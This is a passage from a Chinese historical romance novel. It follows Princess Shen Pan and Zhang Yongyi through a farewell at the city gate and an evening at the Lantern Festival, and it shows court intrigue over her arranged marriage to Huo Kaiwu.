沈斫也转过脸望过去,一片冷寂中那个传令兵吼得上气不接下气,长缨卫横过长槊,朝他连发勒马的指令,他却不管,像是饿狼扑食般直奔着马背上正要被太子牵出瓮城的自己而来。
9. 第九章 永夜灯(四)
守城的这一班府军卫里跑出了班头,一壁望着那面令旗,一壁望着太子和燕王,左右为难。
沈斫的心提了起来。
莫名奇妙要拦门。
他的视线落在了将随自己远赴东北的一众亲卫里,那个又矮又瘦的干瘪老头脸上。
崖然也惴惴不安,但还克制着不回头看。
“指挥使有令!”
这人的声音已经哑了。
太子拍拍沈斫盖了厚厚旃毯的腿,两人俱听身后沈磐指挥起长缨卫:“冲撞东宫仪驾,把他拦下。”
太子瞥了一眼那个班头,又顺着沈磐的话继续命令,“拦下他。”
那背了一整个浓稠之夜的传令兵在一声马嘶里翻滚落地。
太子又揪了揪马缰,引着沈斫继续朝东方的城门走,“此去宁远,你要珍惜自己的身体……”
见长缨卫将人架了起来,沈磐丢下灯,提着裙摆转身追了过来。
似是心有灵犀,沈斫回望时,沈磐已经喘着气跑到了马下。
“你……你要好好吃饭,好好睡觉,还要安安分分的,别去招惹事端……”
沈磐一把抓住他的手,“千万要保重自己!什么也没有你的命珍贵!”
这次沈斫倒没有那么害羞,反扣住沈磐被冻红的手轻轻搓了搓,“你们放心。”
但他说得心不在焉的,频频回首望着慢慢苏醒的化隆城。
沈磐忍着眼泪笑,挑挑眉,“我在这里,大哥在这里,你还回头想看谁?”
被沈磐捉了现形,沈斫腼腆轻笑。
太子将马缰还到他手中,“侯府事多,孩子又小,你大姐不能亲自来送——”
“我知道。”
沈斫回得很快,倒让太子生出了更重的愧疚。
沈磐忍住对大姐的不满,不舍地松开沈斫的手。
“你今年还没去看过砯儿——”
沈斫听出太子的哽咽。
沈磐接话笑道:“但三哥一直在天上看着呢,他一直都会保你平安,等你明年平平安安回来亲自给他告罪。”
**
燕王出城已经成为八日前的旧事,化隆的男男女女都兴奋着眼下十五的花灯会。难得,只有今年的十五夜,光武门洞开,达官显贵全都登上内城城楼,陪着天潢贵胄一同欣赏西南鲁姓皇商献进京的一场“盒子灯”。
如此,平头百姓如何不欢呼雀跃?
人群一窝蜂全堵到光武门,万景楼下就稀疏许多,但不乏弯弓搭箭的人,朝着那四盏耀若云星的琉璃灯比划。
张永一还是被义然推搡着来到万景楼下。
现下拉弓的是一位黑脸大汉,方才搭箭的是一个白面郎君。
“嘶——”众人都可惜起来。
义然盯着那懊悔不已的大汉,咂咂嘴:“唉,就差一点,该死的晚风。”
张永一随口应了一声。
义然抒怀道:“看了这么多,能将箭射上去的,他是头一个吧?可敬可敬。”
“嗯。”
义然睃着那大汉,不吝欣赏:“浑身腱子肉,这身态真是绝了,该是军中的,能练成这个样子,得是战场上下来的——”
“嗯。”
“公子你说,咱们要练成他这个样子,得吃多少刀剑呐?”
身边没有回应。
义然摩挲着下巴,“公子?公子?”
“怎么了?”
义然回神,扭头就见张永一面色从容,声音听着也稳如秤砣,就是眼神一时收不住有些飘忽,不知在这人山人海里看见了什么又想去看什么。
他一脸坦然,倒叫义然不好意思随意揣度。
可是忽然,人群里极其清晰地爆出了一声娇笑:“呐!就是他了吧?”
张永一仍然诚恳地看着自己一错不错,义然纳闷,又听有姑娘嬉笑:“是啊,他就是梁国长公主的孙儿,燕王身边的千户……”
义然即刻转身望过去,就见那花团锦簇的一群姑娘愣了愣,旋即都捏了帕子掩面转身,可一双双眼睛都亮得可怕,全都黏在张永一脸上剥都剥不下来。
义然又看张永一。
他居然被这些姑娘看得不敢抬眼。
“公子?”义然笑眯眯道,“公子怎么这么害羞?”
张永一皱眉,责怪般瞪了义然一眼,这让他看戏看得更高兴了,拍着手拱火:“这么多人看着呢,公子你不如上去露一手,万一成了就是化隆城里的一桩美谈!”
“义然!”
听张永一这般压低声音又咬牙切齿地喝止自己,义然高兴得差点手舞足蹈,“嗳,公子怎么这么害羞,那时候我们在宁远,凯旋后从南门回城,哇塞,北边的姑娘多么奔放,众目睽睽的、光天化日的、朗朗乾坤的,直接将自己的手帕丝带挂在你脖子上,你也没这么害臊啊……”
“哦?”
义然一怔,一时回不过味来,闻着身后一群各色熏香步步逼近,听一女声似笑非笑地问:“是么?看来张千户收获了不少。”
义然原地爆炸,踩了钉似的一蹦三尺高,跳到张永一身后,这才看见被一群贵女捧在中间,一身罩了白月纱的湘妃色罗裙的女子,不是那尊贵异常的长平公主沈磐是谁?她这身颜色极妙,像是下午天边烧得有些暧昧朦胧的晚霞,又像是羊脂玉般的脸蛋上酒后的酡红。
这酡红义然应当是没有见过的,可他就觉得很眼熟。
他连忙低头要给长平公主见礼,公主却不管这些礼数,在身边一众娇花照水般美得千姿百态的姑娘们一同响起的笑声里问张永一,“是吧张千户?”
张永一连忙行礼,头也不抬,话也不答。这神态落在义然眼里,他即刻生出了一种自家公子当街被姑娘“调戏”的错觉!
是了,他知道公主身上的颜色为何这么眼熟了。
张永一的耳朵直到脖颈,全是这样的红色。
沈磐看在眼里,笑了笑便打算放过张永一,却听身边有个促狭的,“哈哈”笑着抓住沈磐的手,在自己的注视下丝毫不客气地翻翻抖抖自己的袖子,硬是从自己袖子里掏出一方素帕来,递到还抬不起头的张永一眼前寸许之地。
“张千户居然收获了这么多啊?只是不知公主这方——你要不要啊?”
众女止住欢笑。
沈磐一懵,错愕地看着她脸上的笑容比天上的月亮还要硕大。
张永一也似被吓到了,抬抬眉看了一眼那帕子,即刻又低眉闭眼,将脸压得更低。
像个遁入空门的僧人。
众女挤眉弄眼起来。
他该被一种窘迫烤熟了。
沈磐心中微叹,皮笑肉不笑地,劈手要夺自己的素帕,“翩翩,玩笑不是这么开的,将张千户吓跑了,你这秋波媚眼给谁送啊?”
风乍起。
沈磐的衣袖被掀了起来,身上的熏香也正随风朝着张永一的方向飘去。或许是这边姑娘家身上的香气乱七八糟杂糅在一起,冲得张永一鼻子痒,又或许是沈磐按也按不住的袖子骚上了他的鼻尖,他微退一步,抬手想挡上一挡,手心却不知碰到了什么。
一开始是绸缎般的清凉顺滑,旋即就温暖了起来、柔软了起来。
不,不是温暖柔软。
在张永一看清,隔着那方被吹开的素帕,落在自己掌心的居然是沈磐的手的这一刻,一团火就从掌心蹿了起来,一眨眼就遍燃全身。
他不自主抖了抖,后退一步,也不顾不得撞上了义然,只在夜风要将这放素帕捎到空中前、只在沈磐似也被烫到时缩回手后,抓紧了手指。
帕子上还留着沈磐的温度。
沈磐的眼睛里却映着双颊都有些烧红的张永一。
张永一抓着帕子,胡乱折了折,又埋下脸递了过去。
他能将千斤重的大刀握得稳稳当当,此刻托着这方鸿毛似的素帕,手却颤得厉害。
姑娘们齐齐笑了。
方才被沈磐叫作“翩翩”的姑娘笑得尤其肆意,“张千户连长平你的手绢都敢接,这必然是吓不跑的哈哈哈哈哈——”
沈磐一压眉梢,似是生气,却让“翩翩”看出了“嗔怪”,她抓住沈磐要去抽帕子的手,“嗳,送都送了,你堂堂一个公主,哪有把送出去的东西要回来的道理?多寒酸。”
她们推搡着沈磐,愣是将人簇拥出好几步远。
“快看,又有人要自取其辱了!”
“嚯,那不是霍尚书的儿子吗?叫什么来着?”
“公……公子,公主她们走了。”
张永一应了一声,缓缓直起身。
他简直托不住这方素帕。
如有千钧。
众人欢笑中,沈磐趁着她们专心奚落各种男人,侧过身,边用余光扫着张永一挺拔的身姿,边挪着步子,在“翩翩”领着各大难缠的高门贵女朝着那再度落败因而有些气急败坏的男人喝倒彩时,一闪身溜得无影无踪。
人一下子就多了。
义然也被挤了开来。
但张永一并没有发现,毕竟他迎面吹着寒风,一直能感觉得到身边有一个人的温暖,便以为还是义然,只是义然突如其来的沉默让他有些奇怪,但这小子向来会间歇性发疯、间歇性正常……
那边爆出了一声喝彩。
人群中那个男子怀中抱着一盏兔子灯,不是万景楼四角挂的,而是店家挂在低处给诸位郎君挽回颜面用的。张永一觉得他有些面熟,但那股摘星星摘月亮都手到擒来的骄傲感
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却匹配不上自己记忆里的任何一人。
张永一问:“那是谁?”
“霍开武。”
张永一一愣,低头就见自己身边闪动着落花似的裙摆,那股幽幽的香气便在他低头的一刹那冲入鼻腔、钻进心脉、游走全身。
他差点一步跳开。
按捺着自己的惊骇,他看清了扬起脸的沈磐,仿佛近在咫尺的一双眼睛里盛尽天上云流、地上水影、无穷碎月。
他连忙移开视线,不敢去看。
沈磐轻笑,侧着一步拉开了两人的距离,又微扬眉扫一眼强装镇定的张永一,一旋身便差点走没了影。
张永一心里若有所失,不假思索追了上去。
等走出了人群,眼前只有沈磐一人提着裙摆款款走上拱桥台阶,他顿时觉出了自己的失礼。
手中的素帕都浸上了自己的汗。
他更觉失态。
此时,沈磐转身俯望他,“那天你怎么没来?”
张永一的局促顿时委落,他沉下被拨弄得起伏不定的心,轻声道:“臣不敢。”
“有何不敢?”
张永一不答。
见沈磐朝他伸手,以为公主要走下台阶,下意识就要去接她的手,可在他伸手前,理智觉醒,连忙将另一手掌心的帕子递了上去。
沈磐挑眉,隔着帕子,拉上他的手将人拽了过来,“你近一些。”
但还是不免有肌肤相触。
张永一整只手都麻木了。
“那天府军卫指挥使宣钦下令迟开城门,被我二哥拦住了。”
张永一瞬时清醒,“为何?难道是因为……”
沈磐将素帕收入袖中,点点头,“后来责问,宣钦说是锦麟卫传来的意思,让他们守卫各大城门的仔细排查,以防浑水摸鱼者。”
“他们……”
沈磐接话:“在查吃空饷。”
张永一顿时想到那夜晚归,和张绰遇见的那一主一仆。
余下的话,沈磐不说,张永一也都明白。
此事非同一般的冒名顶替吃空饷,寻常的事情大多是瞒天过海抑或者闭眼默许,而崖然占的这个位子,是太子授意,然后长缨卫指挥使千挑万选找出来的。这性质就不同了,虽然那长缨卫的妻女仍然享受了卫所兵士的全部俸禄,但事办得还是大错特错,一旦被人捅出来,办事的、享福的,乃至背后的指使东宫太子,都会因为知法犯法、乃至于明知故犯与陛下对着干而大祸临头。
张永一心思沉重。
“他们……臣……对不住殿下。”
沈磐见不得张永一露出这样愧疚难当恨不得以身相替的神情。
“他们不会追究的。”
张永一微讶,眼神直白地询问起沈磐。
沈磐的眼里似没有多少高兴。
他不敢也不忍问了。
但他心里被沈磐的微微失意搅弄得处处不宁。
让他们不再追究,东宫必然是付出代价的。
那会是什么代价呢?
可沈磐暴力击碎这样沉重的氛围,但她起的话头着实也添不了多少松快,“那天沈斫在找你。”
“他一直回头,以为你会来。”
其实沈斫也知道,张永一不来是妥当的,毕竟崖然在,战战兢兢的崖然在,而他们离逃出生天只差一步之遥。
不能留半分嫌疑。
可他们都对这样的离别,感到惋惜。
同来何事不同归?
沈磐往桥下走。
万景楼的热闹已经被他们甩在身后。
但前面就是观华楼。
他们不过是从一处热闹地走到了另一处风月场。
“张永一。”
“臣在。”
沈磐望着观华楼上的歌舞升平,“听说过襄阳侯府的一对姑侄不婚配、在京畿之外过得逍遥自在吧?你说,女子不成婚还有什么出路?”
张永一压抑着心里不明源头却潺潺不灭的失落,故作认真地想思索出一个结果。
可女子不成婚还能有什么出路?
公主是女子。
公主要成婚了。
她要成婚了。
不是和自己。
张永一斩断自己越来越漫漶、越来越大胆的胡思乱想。
“呆在家。”
“不能在家呢?”
“有一门能养活自己的手艺,四海为家。”
沈磐叹息。
张永一望着她的侧脸,多么流畅,又多么凌厉,像一柄刀子,轻而易举就能割开自己的皮肉,让自己血流不止。
他觉得自己一定是病了。
只因为当时她说“让自己娶她”的一句胡话。
10. 第十章 永夜灯(五)
他们才见过寥寥几面,说过的话更屈指可数,自己却病成了这个样子。
崖然说得太对了。
他还太年轻,只是有些痴迷于这样的悸动。
他还太年轻,还掌控不了自己的身体。
索性他知道。
这叫欲望。
只因沈磐说过的一句胡话。
如果只是因为欲望,那就“对事不对人”。
此事与沈磐无关。
张永一心略定,轻声道:“陛下那么疼爱公主,还有太子……”
沈磐笑着挑眉:“你以为是我要成婚?”
他一窒息。
听她嗤嗤笑:“哎呀,张千户在想什么?”
他喘不过气。
沈磐歪着脑袋朝他挑眉,只笑,不说话。
见张永一被她逗得手足无措,沈磐终于熄了心思,笑道:“方才对不住,刚才最无法无天开你玩笑的是辛翩翩,她一向这样,无聊了就想着逗人玩,吓到你了。”
张永一手忙脚乱,打了一个揖,“没有,原来是辛姑娘,是臣的错,没有认出……”
沈磐“噗嗤”一笑,“这哪里是你的错,你常年不在京——”
她轻松地沿路走,步履生风,“你连她爹是英国公辛自宽都不知道,这当然不是你的错。”
张永一眼前立即闪过夜宴那天见过的辛喾。
“她是公府独女,上头两个哥哥,宠得上天了都,要什么有什么,说什么是什么,还有她的那大名鼎鼎的姑姑申二夫人,年轻时豢养宠儿一个接着一个,你肯定也不知道……她走在这化隆的大街小巷,可比本宫还要有排面。毕竟有那么真心疼爱她的家人做依仗,横着走当螃蟹也正常。”
张永一觉得沈磐话中的失意落寞处处都能落到她脸上每一个细微的表情变化。
这是真实的羡慕。
来自沈磐。
“公主,你也有真心疼爱的家人。”
沈磐回头瞟他一眼,脸上还是带笑的,“是么?我大哥是、大嫂也是,沈斫也算吧,我大姐……唉,他们都是我的家人,那就是了。”
“还有陛下。”
沈磐驻足,仰头望着高耸入云的观华楼。
入夜上灯的观华楼,真像是一只既冰冷又炽热的巨物,横亘在天地间,仿佛是开天辟地那一年就被盘古搬到了这里,自此冷眼旁观这人间的悲欢。
她喃喃道:“不是,他只爱他自己。”
张永一蹙眉,不敢说话。
他很安静。
可沈磐又转过脸,看向他,似是要他的一个反应、一句话,“他并不爱我,就像厌恶燕王一样。”
但张永一无话可说。
沈磐就这样望着他,仰头,却还想望着。
“他其实是个很冷血的人,为了自己心里的利益,什么都能抛弃。能走进他的心里,这是多么艰难又难得的事情——”
沈磐转过脸喟叹不已:“我佩服那些人,能在他小得可怜的心里据有一席之地。”
张永一喉头一哽。
“公主,他是您的父亲。”
沈磐笑了,摇头时头上那只玉步摇轻轻荡起秋千,“不不不,他是‘君父’。”
君父不是父亲。
君父是君主。
沈磐痴望着他眼里那几近于“蠢”的澄澈,那种不明白“君父”怎么就成了“君主”的澄澈。
他一定有一个美满欢乐的家庭。
沈磐直面自己的内心:她羡慕,甚至有些嫉妒这种广为人知的“天真愚蠢”。但她再口无遮拦,也不敢将心里的真话诉诸于口。
她和张永一到底是两条路上的人。
不同道,不同心,不同言。
沈磐一哂:“嗳,你不懂的,又或许等你以后——”
张永一一触及她的视线,就恋恋不舍又惊慌失措地错开。
他错过了沈磐眼里不加掩饰的恋慕。
沈磐自言自语:“等你成了别人的‘君父’,你就会懂了。”
“什么?”
沈磐笑着摇头,继续拉着步子往前走,“哎呀,没什么。唉,虽然他不是爱我的父亲,但这些年在他的宫里,我的确享受了不少实惠,现在孙太医一死,他的身体突然就垮下来,一天不如一天——”
她还是关心记挂的。
“听元亨说,他打算去长安近郊的五柞宫修养——哦,那天带你来东宫的内监,他就叫元亨。”
张永一轻声应:“臣知道。”
“唉,去也就去吧,听二哥说他登基到现在,除了上林和曲江行宫,再远的就没去过了,我那未曾谋面的皇祖父也是这样的,去看看也很好……”
但张永一看不出她脸上有任何喜色。
他开口接话,不至于让突然沉寂下来的气氛再度落地。
“公主在忧心。”
沈磐朝他无奈地扬眉,“你也看出来了?是啊,我二哥也很忧心。”
见张永一满脸真诚,沈磐笑道:“你想替本宫解忧?”
“哈哈——”沈磐自顾自接话,刻意打趣他:“这忧张千户可解不了,哪怕是本宫的驸马也不能解。”
只觉沈磐的话如同一只手攥住了自己的心脏,张永一低下视线。
身前的公主还笑盈盈边走边道:“孙太医走了,搞得整个太医院都成了尸位素餐的废物,让一个专擅祝由之术的混子挤到他身边,真是一帮废物……他也是,上了年纪会迷信些也正常,就是成天与一个混子混在一起,真是武皇帝临老还要轮台罪己……”
她的心,好像真的很大。
四周不乏长缨卫和凤翔卫的眼线,她却理直气壮将牢骚说得满天乱飞。
“太子监国,却要把陈王带在身边,内阁里除了兵部尚书霍辄统统留京,也不知他老谋深算究竟在‘谋’些什么——呀,掷花球选金婚?有趣。”
张永一回神看去,前方两层高的雕花阁子下架着一长排花灯谜,灯谜尽头还搭了擂台,台后二楼临窗拥着一群年轻公子,一只扎着红绸的花球正在他们手中轮转,旁边颦鼓惊掠,一盏盏酒地往肚里灌,人人面色微醺。
沈磐已经撒开步子跑了过去。
灯谜长廊里人影稀疏,来客大多聚在了擂台之下,这有些冷清廊道里骤然盛开了这样一朵披霜芙蓉,二楼的公子哥们借着酒劲纷纷张望出来。
“土地喊城隍?神乎其神。”
“大姑娘的荷包?花样多。”
“卒子过河?”
“有去无回。”
“有进无退。”
沈磐仰头正翻捡着灯谜,乍听身后闷葫芦似的张永一突然解答,不禁笑笑。
“吃饺子不吃陷——”
张永一答:“调皮。”
沈磐再翻开一个念给他听:“二十五只老鼠钻胸膛——”
“百爪挠心。”
说“调皮”时他的声音是轻快的,说到“百爪挠心”一下子就低哑起来。
沈磐心中笑,连翻了两个才念了个满意的:“上午栽树、下午取材——”
张永一望着她,“心太急。”
“灯盏无油——”
“火烧心。”
沈磐勾勾唇角,捶捶有些酸痛的胳膊,“你翻,我来答。”
张永一点头,随手翻开一个,“油水。”
沈磐略一皱眉。
见张永一低头看着自己,沈磐挺直腰杆大言不惭地胡说道:“轻浮。”
张永一避开视线,连忙翻下一个,“六月里吃萝卜。”
“图个新鲜。”
张永一不自主地锁紧眉头,“小河撑船。
“一竿子到底。”
“欸,你怎么跳过了?”说着,沈磐上手翻开被张永一刻意忽略的那张灯谜,煞有介事地轻声念道:“婚期定在元宵后。”
她说得太快,以至于脑子来不及反应,才漾起的心又沉入湖底。
这不是错觉,张永一偷偷瞥她的这眼里,似有伤感。
可这个谜底是大喜过望啊。
她这样折腾一番,倒真是河边洗黄连了。
何苦。
发觉沈磐心绪低落,张永一建议道:“去前面看看吧?似在击鼓传花。”
的确是在击鼓传花,但惩罚不是灯谜,而是上元诗。
沈磐一向不喜风雅,一直是焚琴煮鹤的玩乐心性,对这种吟诗作对的雅事常常避如蛇蝎,一听那些白面书生拽着酸诗腐文,连忙掉头要走。
却在此时,听楼上有人道:“嵇公子来了。”
沈磐顿足,朝二楼那个众星捧月间睥睨之态溢于言表的年轻男人看去。
他正也朝沈磐看来。
不过他的视线又流转到了张永一脸上。
他偏头向边上人轻声问了些事。
沈磐差点就要推着张永一往人堆外走,好在她还警醒着四周都是眼睛,收手用手肘捅了捅他的胳膊,一扬头就要逃出这越来越密集的人堆。
张永一即刻跟了过来。
“怎么了公主?”
被人群挤了一身汗
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,沈磐吐出一口浊气,“看见那个拿花球的男的了?”
“是谁?”
“嵇阑。”
张永一显然又不认识,但一时间被嵇阑过于出类拔萃的相貌吸引,也不可自制地目不转睛地盯着他看。
“他爹嵇阀跟着霍辄在西北起家,混了个靖臣将军,还封了忠义侯,而他呢——因为爹生娘养的一张脸,在化隆上下颇有名誉。”
点到为止,张永一顿时了然。
沈磐也毫不吝啬欣赏的目光。
嵇阑这张脸的确是能让男女老少都为之拍案叫绝的。
“那只花球……”
张永一轻声问,却见沈磐脸色一变,拨开人群重又扎了进去。
张永一愣在原地。
随即他听见了两道声线,与那夜相会的一主一仆格外相似。
“爷,我看见公主在的呢。”
“找。”
张永一听出了这男人的阴沉,一回头看见,刚才在万景楼射了一盏兔子灯的男人正抱臂逡巡全场,冷飕飕的目光撞上就如同被蛇咬上一口。
他是霍开武。
那仆从指着人群中笑:“在那儿呢。”
霍开武的脸却更冷了,“那畜生怎么在这儿?”
山风看见楼上的嵇阑众星捧月,那厮看见了霍开武,连忙执起花球朝楼下比划,眼中的戏谑挑衅不言而喻。山风的眼珠子上上下下地打量,正见嵇阑目光所指的地方站着长平公主,他顿时冷汗涔涔。
沈磐回头观察着情况。
张永一还没回过神。
见霍开武脸色比锅底还黑,嵇阑扬唇,长臂一挥。
肩膀微痛,沈磐火冒,却见才被嵇阑仔细打理好的花球正落在她的怀里。
众人俱是一愣。
只有嵇阑坐在了轩窗上,歪着头笑吟吟地看着霍开武。
“这位娘子,嵇公子楼上有请。”
沈磐回头想找张永一,头来不及回,楼上就下来一对小鬟推搡着她要进酒楼,周遭的长缨卫和凤翔卫如临大敌,但他们各个便装,挤不进这肉墙似的人群,只能眼睁睁看着沈磐被请上了楼。
**
等沈磐全须全尾地从楼上下来,就见这阔大的一楼酒肆已经被长缨卫和凤翔卫勒令清空,正中坐着霍开武,边上站着山风,桌上还摆着那只兔子灯。
就是没有张永一的影子。
霍开武连忙起身,走到楼梯口。
嵇阑也从包间里走出来,靠在二楼栏杆上,笑对霍开武。
一盏茶的功夫。
不长不短。
两个人衣冠整齐。
沈磐鬓发如故。
却能让霍开武暴跳如雷。
孤男寡女共处一室。
还是嵇阑刻意在他眼皮子底下办的。
霍开武强避开嵇阑的视线,但嵇阑的视线像是一把火不远不近地烤着他后背,让他都忘了要给沈磐大献殷勤。
沈磐也不理他,径直走出酒肆。
楼外的人流已被驱散,只有自己的马车停在正中静静等待。
此刻不过亥初。
外头也不见张永一的身影。
霍开武追上来,“公主看过鲁先生进献的盒子灯吗?一会儿还有一场……”
“不看。”
被沈磐呛声,霍开武也不恼,拿出应对自家老子的耐心,再度要磨:“那公主现在要回宫吗?微臣给公主驾车。”
“不必。”
“臣射了一只兔子灯,不知公主喜不喜欢……”
“不喜欢。”
看着沈磐神色淡淡,却句句下他的脸面,霍开武按捺不住,恨不得冲回去杀了那个嵇阑,却还记得出门前小叔的叮嘱,叫他在长平公主面前,要多谦卑就多谦卑,公主要打他的左脸,打完了还要把右脸送上去……
霍开武快要气疯了。
“霍员外见了本宫,今天还没有施礼。”
霍开武只能后退一步打了个长揖。
沈磐眼皮子抬也不抬,褰裙就要上车。
霍开武不忘伸手要搀。
沈磐盯着他的手看了瞬息,一抬头就见街角立着一个男人,好像是张永一。
她本不想沾霍开武半点毫毛,可眼前骤然闪过今夜张永一的种种局促。
沈磐心里叹息。
更叹自己的恶劣。
她狠狠借了霍开武小臂的力气。
陛下把她赐给了霍开武。
婚期定在元宵后的十月。
大喜过望。
11. 第十一章 独丧人(一)
天刚亮,张永一自兵部点卯后径直去了东直门。
他入职兵部的告身在上元夜后的第五日就发到了梁国公主府。梁国长公主翻开一看,见圣上特点他为兵部武库清吏司郎中,是正五品,掌全国的兵籍、军器及武科考举之事,勉强也是个肥缺。
祖母很高兴,虽然不过是个五品郎中。
所以在这早朝未复、各衙司怠惰上值的第六天,他就被祖母催促着收拾衣冠进宫谢恩。
他在御书房檐下等了有一会儿,这一会儿久到日头爬出云层,夜里的寒气逐渐散去,深墙下终于有了一丝掸被子时的绵绵暖意,小内监这才低眉顺眼地从房内溜出,朝自己大施一礼。
“抱歉了张大人,陛下身子不适,您还是改日再来吧。”
张永一不多话,谢过这名内监,朝门口长揖下拜后,也不逗留迟疑,转身就走。
这小内监看着他走得一点也不拖泥带水,摸摸鼻子,“嗐”了一声。
陛下重病不宜接见,随便通传一声就是。可他被晾在殿外这么久尽吃冷风,却傻愣愣丝毫没觉出奇怪。
有钱能使鬼推磨,也能免他一番苦等,瞧着梁国长公主的长孙应该也不差这些个铜板。
真是傻大个。
小内监觉得丧气。
毕竟能欺负欺负的官儿就这么几个,要么是小,要么是新,再要么是早,接下去日头上了正轨可就捞不到好处了。
他可惜又憎恶地转身要回耳房,又见东直门方向走来一队人。
张永一刚好和他们打了照面。
那小内监远远飞奔跑来迎接的声音尖锐刺耳:“施太医!您可算来了,陛下等了您许久呢。哎呀,这么冷的天,太医您这是从宫外来的吧?”
“嗯,刚给霍尚书府上的公子看过。”
“那可真是幸苦您了,快进快进,别冻着了。”
张永一脚步不停。
他有时候可以装一装呆子,但他不是傻子。
不过他身子板硬,这点冷风还是受得住的。
只是“霍尚书府上的公子”……
说的是霍开武吗?
几天前他就打听过了,霍开武也在兵部供职,是武选清吏司的员外郎,不是他的直属,却算他下属。
当年晋国公主下嫁,陛下犹嫌襄阳伯府的爵位太低,硬是拔回了侯府这才允了婚事。长平公主是晋国公主的亲妹妹,也是陛下的女儿,太子的掌上珠,陛下当真要把她嫁给一个比他的品阶还要低上一些的员外郎吗?
可他的父亲是霍辄。
而今谁的父亲能辉煌越过霍大将军呢?
霍开武今日只是员外,难保明天不会成为侍郎,到时候人品外的一切虚名都会般配的。
且从沈磐的态度看,这像是东宫付给霍家的代价。
为了长缨卫中泛滥出的冒名顶替——为了崖然。
张永一呵出一口气。
再过些天,燕王他们就要到宁远了吧?
大臂上似还疼着。
崖然那老头下手不知轻重,或许真如他所说,剜死人肉剜得太顺手。
张永一撂下这些杂想,一门心思地走起路,忽听身后宫道上有小孩子拍手在笑,嘀嘀咕咕又道:“姑姑真是神算子!”
张永一呼吸一紧,连忙回头,迎着光果然看见沈磐牵着沈仪明在东太平门甬道上笑。
她还是这么喜欢这些将满院子生意盎然都能披在身上的颜色。
其实她站在那里,就揽尽了化隆满城的春色。
沈仪明松开沈磐的手,朝张永一捏了一个礼:“张郎中。”
张永一连忙回神,朝他们要拜,就听沈仪明问:“张郎中拜见陛下了吗?”
张永一摇头,“陛下有恙,臣没见到。”
沈仪明重望向沈磐,两眼亮晶晶写满崇拜,“姑姑真是神机妙算的神算子!”
沈磐轻笑,揪着他脑袋上的两只丸子角将他的脸又转向莫名局促的张永一,弯腰在他耳边说:“那你问他,他是不是在御书房外等了很久。”
沈仪明便这么大声问了。
张永一扫过沈磐脸上势在必得的笑,呼吸更乱了几拍。
这里是东直门,过去就是六科廊和都察院,人来人往。
他点点头。
沈仪明握住沈磐的手,崇拜之情滔滔不绝:“姑姑真是前知五百年、后知五百年的神算子!”
“哈哈。”沈磐点着他的脑门,拉起他热乎乎的小手,“走啦走啦,你不是要去上林折梅花?车马应该早等在正阳门啦……”
沈磐转身要走,沈仪明倒还记得要与张永一告别,“张郎中,我们下回见!”
张永一垂首揖礼。
抬眸瞬间,远远见沈磐也回眸看他。
两相对视,各自路过。
**
“姑姑,你究竟怎么知道张郎中被御书房外的内监甩脸色的?”
沈磐还走神于今日张永一一身板正的熊绘青袍,五品官的行头配他也算挺拔,忽听一向古灵精怪的沈仪明问了这样一个问题,还没去琢磨这小子是明知故问还真是傻愣愣天真,一看他肉嘟嘟的脸上满是兴奋和好奇,顿时有了答案。
见沈磐不想说,沈仪明扯着她的袖子撅着嘴、布谷鸟般地撒娇:“姑姑!姑姑姑姑姑姑!”
沈磐点开他的脑袋,“你不都知道嘛?干嘛问我。”
“嘿嘿。”沈仪明攀上她的肩膀,“但仪明不知道,这么冷的天姑姑带我绕远路去和张郎中‘偶遇’,到底是为什么呀?”
这小子蔫坏!
沈磐傲据地乜斜他:“你不也知道么?”
沈仪明两眼迸射金光,“真的是这样吗!哇塞哇塞!”
他搓搓手,“这就是哥哥讲的,见色起意?还是一见钟情?还是命中注定?啊呀!”
沈仪明捂住吃了沈磐一个暴栗的额头,可怜巴巴地嘟嘴:“姑姑!姑姑害羞就害羞,为什么要伤害这么可爱的仪明呜呜呜……”
沈磐一个头两个大,“多么根正苗红的孩子,偏偏要和你哥哥他们学‘坏’!等你爹爹来东宫接你,我肯定要和他好好告状……”
“姑姑!”
沈仪明捧着沈磐的手去揉自己的脸蛋,这小子也知道沈磐喜欢捏他的脸,这便笑呵呵地送了上去,“圣人说,食色性也!哥哥他们都长大了,思慕少艾又何错之有?姑姑也是,姑姑眼光这么好——”
“不许提他!”
“呜呜呜……姑姑好凶。”
沈磐莫名叹气。
沈仪明反捧上沈磐脸颊,轻轻推着她的唇角往上提,“姑姑别叹气,气叹多了就会老,姑姑这么美,美人老了多可惜。”
沈磐心中微动,刚又不自主地要叹息,就见沈仪明板着脸老鹰似地瞪着自己,连忙把吐出半口的气又吸了回去。
他这才又笑起来。
“这才对嘛。”
“对什么对!你是长辈还是我是长辈?”
“哈哈——”沈仪明撒手挤回沈磐身边,抱着沈磐的胳膊摇头晃脑地数:“第一天,第二天,第三天……还有两天爹爹就要来接我啦,然后爹爹就要带我们回江西,去外祖母家,到时候姑姑可就见不到仪明了。姑姑会很想念仪明的,所以啊,这两天姑姑要好好地对仪明……”
随着沈仪明天真无邪的念叨,沈磐的心绪还是沉了下去。
她轻声道:“仪明,以后不要在人前提张郎中。”
沈仪明眨眨眼,十分不解。
沈磐垂眸叹息。
路不平,车有些颠,街上的叫卖声更加响亮,车盖下的铎铃更吵得直掀天灵。
“好的姑姑。”沈仪明扑入她怀里。
沈磐的手在颤,却还是搂住了他。
多么小的一个孩子,多么有灵性的一个孩子。
隔着厚厚的冬衣,他仍然能听见沈磐心里的痛苦。
“姑姑在害怕吗?”
“我有什么好怕的。”
“害怕给张郎中添麻烦。”
“才不是。”
沈仪明闷闷道:“姑姑和爹爹一样,口是心非。”
闻言,沈磐摸摸他的脑袋,“你爹爹怎么了?出什么事了?”
沈仪明摇头:“爹爹不允许我和任何人说……”
沈磐直觉有大事发生,“姑娘家思慕情郎这样大的事我招了,你小子居然还要瞒着我?快说!”
她装得“恶狠狠”的。
沈仪明犹豫一瞬,乞求道:“姑姑不能告诉任何人。”
“嗯,你说。”
“姑姑要发誓!”
沈磐挑眉,无奈道:“好好好,姑姑不告诉别人,不然就叫姑姑一辈子嫁不出去,不能称心如意。”
像一只泄气的口袋,沈仪明一下子为难起来:“啊?这个誓言也太过了吧……”
反正她都要嫁霍开武了。
沈磐无所谓,赶忙问:“快说吧,姑姑不会告诉别人的。”
似被沈磐的真诚打动,沈仪明一点也不想藏掖,可他一开口就是:“
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姑姑,我也怕。”
“怕什么?”沈磐捋捋他毛茸茸的碎发,“没什么好怕的,告诉姑姑,姑姑给你想办法。你不是说姑姑是神算子吗,姑姑有什么不知道的呢?所有的事情都是知道得太少而想得太多,这才产生了恐惧……”
“姑姑,仪明做了错事,仪明不该在没有得到别人允许时贸然偷听别人说话。”
“仪明听见什么了?”
